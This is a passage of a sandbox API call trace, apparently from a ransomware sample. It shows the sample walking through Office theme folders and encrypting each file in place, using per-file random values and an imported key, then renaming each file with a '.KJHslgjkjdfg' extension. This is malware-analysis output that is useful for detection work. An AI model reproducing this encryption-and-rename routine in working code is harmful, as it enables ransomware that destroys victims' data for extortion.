hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5720 | out: hHeap=0x2a0000) returned 1 [0145.792] GetProcessHeap () returned 0x2a0000 [0145.792] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0145.792] GetProcessHeap () returned 0x2a0000 [0145.792] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.792] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0145.793] GetProcessHeap () returned 0x2a0000 [0145.793] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0145.793] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0145.793] GetProcessHeap () returned 0x2a0000 [0145.793] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x80) returned 0x2c22b0 [0145.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0145.797] GetProcessHeap () returned 0x2a0000 [0145.797] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0145.797] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0145.798] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0145.798] GetProcessHeap () returned 0x2a0000 [0145.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x282) returned 0x2c7d48 [0145.798] GetProcessHeap () returned 0x2a0000 [0145.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x92) returned 0x2c7fd8 [0145.798] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0145.798] GetProcessHeap () returned 0x2a0000 [0145.798] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fd8 | out: hHeap=0x2a0000) returned 1 [0145.798] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0145.798] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0145.798] GetProcessHeap () returned 0x2a0000 [0145.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x294) returned 0x2f32d0 [0145.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0145.800] GetProcessHeap () returned 0x2a0000 [0145.800] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.800] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.800] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0145.800] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x2, lpOverlapped=0x0) returned 1 [0145.802] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.802] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.802] GetProcessHeap () returned 0x2a0000 [0145.802] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.802] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0145.802] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.802] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0145.802] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0145.802] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0145.803] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0145.803] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0145.803] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0145.803] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.803] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.803] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.803] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe58e, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xe58e, lpOverlapped=0x0) returned 1 [0145.804] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xe590, dwBufLen=0xe590 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xe590) returned 1 [0145.805] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.805] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe590, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xe590, lpOverlapped=0x0) returned 1 [0145.805] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.805] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xe664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.805] SetEndOfFile (hFile=0x118) returned 1 [0145.808] GetProcessHeap () returned 0x2a0000 [0145.808] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.808] GetProcessHeap () returned 0x2a0000 [0145.808] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.808] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.kjhslgjkjdfg")) returned 1 [0145.809] CloseHandle (hObject=0x118) returned 1 [0145.810] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0145.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0145.810] GetProcessHeap () returned 0x2a0000 [0145.810] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.810] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.810] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0145.810] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x5, lpOverlapped=0x0) returned 1 [0145.812] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.812] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.812] GetProcessHeap () returned 0x2a0000 [0145.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.812] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0145.812] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.812] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0145.812] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0145.812] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0145.812] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0145.813] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0145.813] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0145.813] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.813] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.813] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.813] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x22b, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x22b, lpOverlapped=0x0) returned 1 [0145.813] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x230, dwBufLen=0x230 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x230) returned 1 [0145.813] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.813] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x230, lpOverlapped=0x0) returned 1 [0145.813] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.813] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.813] SetEndOfFile (hFile=0x118) returned 1 [0145.816] GetProcessHeap () returned 0x2a0000 [0145.816] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.816] GetProcessHeap () returned 0x2a0000 [0145.816] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf.kjhslgjkjdfg")) returned 1 [0145.825] CloseHandle (hObject=0x118) returned 1 [0145.825] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0145.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0145.827] GetProcessHeap () returned 0x2a0000 [0145.827] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.827] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.827] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0145.827] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xf, lpOverlapped=0x0) returned 1 [0145.829] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.829] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.829] GetProcessHeap () returned 0x2a0000 [0145.829] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.829] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0145.829] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.829] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0145.829] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0145.830] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0145.830] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0145.830] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0145.830] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0145.830] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.830] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.830] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.830] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x621, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x621, lpOverlapped=0x0) returned 1 [0145.830] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x630, dwBufLen=0x630 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x630) returned 1 [0145.830] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.830] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x630, lpOverlapped=0x0) returned 1 [0145.830] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.830] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.831] SetEndOfFile (hFile=0x118) returned 1 [0145.833] GetProcessHeap () returned 0x2a0000 [0145.833] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.833] GetProcessHeap () returned 0x2a0000 [0145.833] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.833] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.kjhslgjkjdfg")) returned 1 [0145.834] CloseHandle (hObject=0x118) returned 1 [0145.834] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0145.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0145.841] GetProcessHeap () returned 0x2a0000 [0145.841] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.841] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.841] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0145.841] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xe, lpOverlapped=0x0) returned 1 [0145.843] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.843] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.843] GetProcessHeap () returned 0x2a0000 [0145.843] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.843] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0145.843] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.843] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, 